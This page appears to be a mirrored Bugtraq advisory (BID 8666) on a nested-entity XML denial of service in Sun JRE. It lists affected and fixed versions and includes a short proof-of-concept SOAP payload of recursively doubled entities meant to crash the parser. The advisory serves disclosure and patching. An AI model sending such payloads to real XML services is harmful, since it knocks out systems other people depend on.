Sun Java XML Document Nested Entity Denial Of Service Vulnerability

BID:8666

Info

Sun Java XML Document Nested Entity Denial Of Service Vulnerability

Bugtraq ID: 8666
Class: Input Validation Error
CVE:
Remote: No
Local: Yes
Published: Sep 22 2003 12:00AM
Updated: Sep 22 2003 12:00AM
Credit: Vulnerability announced by Sun Microsystems.
Vulnerable: Sun JRE (Windows Production Release) 1.4.1 _03
Sun JRE (Windows Production Release) 1.4.1 _02
Sun JRE (Windows Production Release) 1.4.1 _01
Sun JRE (Windows Production Release) 1.4.1
Sun JRE (Windows Production Release) 1.4 .0_04
Sun JRE (Windows Production Release) 1.4 .0_03
Sun JRE (Windows Production Release) 1.4 .0_02
Sun JRE (Windows Production Release) 1.4 .0_01
Sun JRE (Windows Production Release) 1.4
Sun JRE (Windows Production Release) 1.3.1 _07
Sun JRE (Windows Production Release) 1.3.1 _06
Sun JRE (Windows Production Release) 1.3.1 _05
Sun JRE (Windows Production Release) 1.3.1 _04
Sun JRE (Windows Production Release) 1.3.1 _03
+ Macromedia ColdFusion Server MX Professional
+ Macromedia ColdFusion Server MX Enterprise
+ Macromedia ColdFusion Server MX Developer
Sun JRE (Windows Production Release) 1.3.1 _02
Sun JRE (Windows Production Release) 1.3.1 _01a
Sun JRE (Windows Production Release) 1.3.1 _01
Sun JRE (Windows Production Release) 1.3 .0_05
Sun JRE (Windows Production Release) 1.3 .0_04
Sun JRE (Windows Production Release) 1.3 .0_02
Sun JRE (Windows Production Release) 1.3
Sun JRE (Windows Production Release) 1.2.2 _12
Sun JRE (Windows Production Release) 1.2.2 _015
Sun JRE (Windows Production Release) 1.2.2 _014
Sun JRE (Windows Production Release) 1.2.2 _013
Sun JRE (Windows Production Release) 1.2.2 _011
Sun JRE (Windows Production Release) 1.2.2 _010
Sun JRE (Windows Production Release) 1.2.2
Sun JRE (Windows Production Release) 1.2.1
Sun JRE (Windows Production Release) 1.2
Sun JRE (Windows Production Release) 1.1.8 _009
Sun JRE (Windows Production Release) 1.1.8 _008
Sun JRE (Windows Production Release) 1.1.8 _007
Sun JRE (Windows Production Release) 1.1.8
Sun JRE (Solaris Production Release) 1.4.1 _03
Sun JRE (Solaris Production Release) 1.4.1 _02
Sun JRE (Solaris Production Release) 1.4.1 _01
+ Opera Software Opera Web Browser 7.11
Sun JRE (Solaris Production Release) 1.4.1
Sun JRE (Solaris Production Release) 1.4 .0_04
Sun JRE (Solaris Production Release) 1.4 .0_04
Sun JRE (Solaris Production Release) 1.4 .0_03
Sun JRE (Solaris Production Release) 1.4 .0_02
Sun JRE (Solaris Production Release) 1.4 .0_01
Sun JRE (Solaris Production Release) 1.4
Sun JRE (Solaris Production Release) 1.3.1 _07
Sun JRE (Solaris Production Release) 1.3.1 _06
Sun JRE (Solaris Production Release) 1.3.1 _05
Sun JRE (Solaris Production Release) 1.3.1 _04
Sun JRE (Solaris Production Release) 1.3.1 _03
+ Macromedia ColdFusion Server MX Professional
+ Macromedia ColdFusion Server MX Enterprise
+ Macromedia ColdFusion Server MX Developer
Sun JRE (Solaris Production Release) 1.3.1 _02
Sun JRE (Solaris Production Release) 1.3.1 _01
Sun JRE (Solaris Production Release) 1.3 .0_05
Sun JRE (Solaris Production Release) 1.3 .0_02
Sun JRE (Solaris Production Release) 1.3
Sun JRE (Solaris Production Release) 1.2.2 _11
Sun JRE (Solaris Production Release) 1.2.2 _11
Sun JRE (Solaris Production Release) 1.2.2 _014
Sun JRE (Solaris Production Release) 1.2.2 _013
Sun JRE (Solaris Production Release) 1.2.2 _012
Sun JRE (Solaris Production Release) 1.2.2 _011
Sun JRE (Solaris Production Release) 1.2.2 _010
Sun JRE (Solaris Production Release) 1.2.2
Sun JRE (Solaris Production Release) 1.2.1
+ Sun Solaris 8_x86
+ Sun Solaris 8_sparc
+ Sun Solaris 7.0_x86
+ Sun Solaris 7.0
+ Sun Solaris 2.6_x86
+ Sun Solaris 2.6
Sun JRE (Solaris Production Release) 1.2
Sun JRE (Solaris Production Release) 1.1.8 _14
Sun JRE (Solaris Production Release) 1.1.8 _13
Sun JRE (Solaris Production Release) 1.1.8 _009
Sun JRE (Solaris Production Release) 1.1.8
Sun JRE (Solaris Production Release) 1.1.7 B
+ Sun Solaris 8_x86
+ Sun Solaris 8_sparc
+ Sun Solaris 7.0_x86
+ Sun Solaris 7.0
+ Sun Solaris 2.6_x86
+ Sun Solaris 2.6
Sun JRE (Solaris Production Release) 1.1.6
+ Sun Solaris 8_x86
+ Sun Solaris 8_sparc
+ Sun Solaris 7.0_x86
+ Sun Solaris 7.0
+ Sun Solaris 2.6_x86
+ Sun Solaris 2.6
Sun JRE (Linux Production Release) 1.4.1 _03
Sun JRE (Linux Production Release) 1.4.1 _02
Sun JRE (Linux Production Release) 1.4.1 _01
+ Opera Software Opera Web Browser 7.11
Sun JRE (Linux Production Release) 1.4.1
Sun JRE (Linux Production Release) 1.4 .0_04
Sun JRE (Linux Production Release) 1.4 .0_03
Sun JRE (Linux Production Release) 1.4 .0_02
Sun JRE (Linux Production Release) 1.4
Sun JRE (Linux Production Release) 1.3.1 _07
Sun JRE (Linux Production Release) 1.3.1 _06
Sun JRE (Linux Production Release) 1.3.1 _05
Sun JRE (Linux Production Release) 1.3.1 _03
+ Macromedia ColdFusion Server MX Professional
+ Macromedia ColdFusion Server MX Enterprise
+ Macromedia ColdFusion Server MX Developer
Sun JRE (Linux Production Release) 1.3.1 _02
Sun JRE (Linux Production Release) 1.3.1 _01
Sun JRE (Linux Production Release) 1.3.1
Sun JRE (Linux Production Release) 1.3 .0_05
Sun JRE (Linux Production Release) 1.3 .0_04
Sun JRE (Linux Production Release) 1.3 .0_03
Sun JRE (Linux Production Release) 1.3 .0_02
Sun JRE (Linux Production Release) 1.3 .0_01
Sun JRE (Linux Production Release) 1.3 .0
Sun JRE (Linux Production Release) 1.2.2 _12
Sun JRE (Linux Production Release) 1.2.2 _015
Sun JRE (Linux Production Release) 1.2.2 _014
Sun JRE (Linux Production Release) 1.2.2 _013
Sun JRE (Linux Production Release) 1.2.2 _011
Sun JRE (Linux Production Release) 1.2.2 _010
Sun JRE (Linux Production Release) 1.2.2 _007
Sun JRE (Linux Production Release) 1.2.2 _006
Sun JRE (Linux Production Release) 1.2.2 _005
Sun JRE (Linux Production Release) 1.2.2 _004
Sun JRE (Linux Production Release) 1.2.2 _003
Sun JRE (Linux Production Release) 1.2.2
Apache Crimson 1.0
Not Vulnerable: Sun JRE (Windows Production Release) 1.4.2
Sun JRE (Solaris Production Release) 1.4.2
Sun JRE (Linux Production Release) 1.4.2
Apache Crimson 1.1

Discussion

Sun Java XML Document Nested Entity Denial Of Service Vulnerability

A problem has been identified in Sun Java when handling XML documents with specific constructs. Because of this, an attacker with the ability to cause the software to parse malicious XML documents may have the ability to crash a system hosting Sun Java.

Exploit / POC

Sun Java XML Document Nested Entity Denial Of Service Vulnerability

The following proof-of-concept has been made available:

<?xml version="1.0" encoding ="UTF-8"?> <!DOCTYPE foobar[ <!ENTITY x100 "foobar"> <!ENTITY x99 "&x100;&x100;"> <!ENTITY x98 "&x99;&x99;"> ... <!ENTITY x2 "&x3;&x3;"> <!ENTITY x1 "&x2;&x2;"> ]><SOAP-ENV:Envelope xmlns:SOAP-ENV=...><SOAP-ENV:Body><ns1:aaa xmlns:ns1="urn:aaa" SOAP-ENV:encodingStyle="..."><foobar xsi:type="xsd:string">&x1;</foobar></ns1:aaa></SOAP-ENV:Body></SOAP-ENV:Envelope>

Solution / Fix

Sun Java XML Document Nested Entity Denial Of Service Vulnerability

Solution:
Sun has released updated versions to address this issue.


Sun JRE (Solaris Production Release) 1.1.6

Sun JRE (Solaris Production Release) 1.1.7 B

Sun JRE (Solaris Production Release) 1.1.8

Sun JRE (Windows Production Release) 1.1.8 _008

Sun JRE (Windows Production Release) 1.1.8 _009

Sun JRE (Solaris Production Release) 1.1.8 _14

Sun JRE (Windows Production Release) 1.1.8

Sun JRE (Solaris Production Release) 1.1.8 _009

Sun JRE (Solaris Production Release) 1.1.8 _13

Sun JRE (Windows Production Release) 1.2

Sun JRE (Solaris Production Release) 1.2

Sun JRE (Solaris Production Release) 1.2.1

Sun JRE (Windows Production Release) 1.2.1

Sun JRE (Linux Production Release) 1.2.2 _013

Sun JRE (Linux Production Release) 1.2.2 _011

Sun JRE (Solaris Production Release) 1.2.2 _013

Sun JRE (Windows Production Release) 1.2.2 _011

Sun JRE (Linux Production Release) 1.2.2 _010

Sun JRE (Solaris Production Release) 1.2.2

Sun JRE (Solaris Production Release) 1.2.2 _010

Sun JRE (Linux Production Release) 1.2.2 _006

Sun JRE (Linux Production Release) 1.2.2 _015

Sun JRE (Linux Production Release) 1.2.2 _003

Sun JRE (Solaris Production Release) 1.2.2 _012

Sun JRE (Linux Production Release) 1.2.2

Sun JRE (Linux Production Release) 1.2.2 _12

Sun JRE (Solaris Production Release) 1.2.2 _011

Sun JRE (Solaris Production Release) 1.2.2 _11

Sun JRE (Windows Production Release) 1.2.2

Sun JRE (Windows Production Release) 1.2.2 _12

Sun JRE (Windows Production Release) 1.2.2 _010

Sun JRE (Windows Production Release) 1.2.2 _015

Sun JRE (Linux Production Release) 1.2.2 _007

Sun JRE (Solaris Production Release) 1.2.2 _11

Sun JRE (Windows Production Release) 1.2.2 _013

Sun JRE (Windows Production Release) 1.3 .0_02

Sun JRE (Linux Production Release) 1.3 .0

Sun JRE (Linux Production Release) 1.3 .0_02

Sun JRE (Windows Production Release) 1.3

Sun JRE (Windows Production Release) 1.3 .0_04

Sun JRE (Solaris Production Release) 1.3 .0_05

Sun JRE (Windows Production Release) 1.3 .0_05

Sun JRE (Linux Production Release) 1.3 .0_05

Sun JRE (Solaris Production Release) 1.3

Sun JRE (Linux Production Release) 1.3 .0_03

Sun JRE (Linux Production Release) 1.3 .0_04

Sun JRE (Windows Production Release) 1.3.1 _03

Sun JRE (Solaris Production Release) 1.3.1 _02

Sun JRE (Linux Production Release) 1.3.1 _06

Sun JRE (Linux Production Release) 1.3.1 _03

Sun JRE (Solaris Production Release) 1.3.1 _03

Sun JRE (Solaris Production Release) 1.3.1 _01

Sun JRE (Solaris Production Release) 1.3.1 _06

Sun JRE (Solaris Production Release) 1.3.1 _05

Sun JRE (Windows Production Release) 1.3.1 _05

Sun JRE (Linux Production Release) 1.3.1 _01

Sun JRE (Windows Production Release) 1.3.1 _01a

Sun JRE (Solaris Production Release) 1.3.1 _07

Sun JRE (Linux Production Release) 1.3.1 _05

Sun JRE (Linux Production Release) 1.3.1 _07

Sun JRE (Windows Production Release) 1.3.1 _01

Sun JRE (Linux Production Release) 1.3.1 _02

Sun JRE (Windows Production Release) 1.3.1 _06

Sun JRE (Windows Production Release) 1.4

Sun JRE (Linux Production Release) 1.4

Sun JRE (Solaris Production Release) 1.4 .0_01

Sun JRE (Windows Production Release) 1.4 .0_03

Sun JRE (Windows Production Release) 1.4 .0_01

Sun JRE (Linux Production Release) 1.4 .0_03

Sun JRE (Solaris Production Release) 1.4 .0_04

Sun JRE (Solaris Production Release) 1.4 .0_02

Sun JRE (Solaris Production Release) 1.4 .0_04

Sun JRE (Solaris Production Release) 1.4

Sun JRE (Solaris Production Release) 1.4 .0_03

Sun JRE (Windows Production Release) 1.4 .0_02

Sun JRE (Linux Production Release) 1.4 .0_02

Sun JRE (Solaris Production Release) 1.4.1 _02

Sun JRE (Solaris Production Release) 1.4.1

Sun JRE (Linux Production Release) 1.4.1 _02

Sun JRE (Solaris Production Release) 1.4.1 _01

Sun JRE (Linux Production Release) 1.4.1 _03

Sun JRE (Windows Production Release) 1.4.1

Sun JRE (Windows Production Release) 1.4.1 _02

Sun JRE (Linux Production Release) 1.4.1 _01

Sun JRE (Solaris Production Release) 1.4.1 _03

Sun JRE (Windows Production Release) 1.4.1 _03

References

Sun Java XML Document Nested Entity Denial Of Service Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report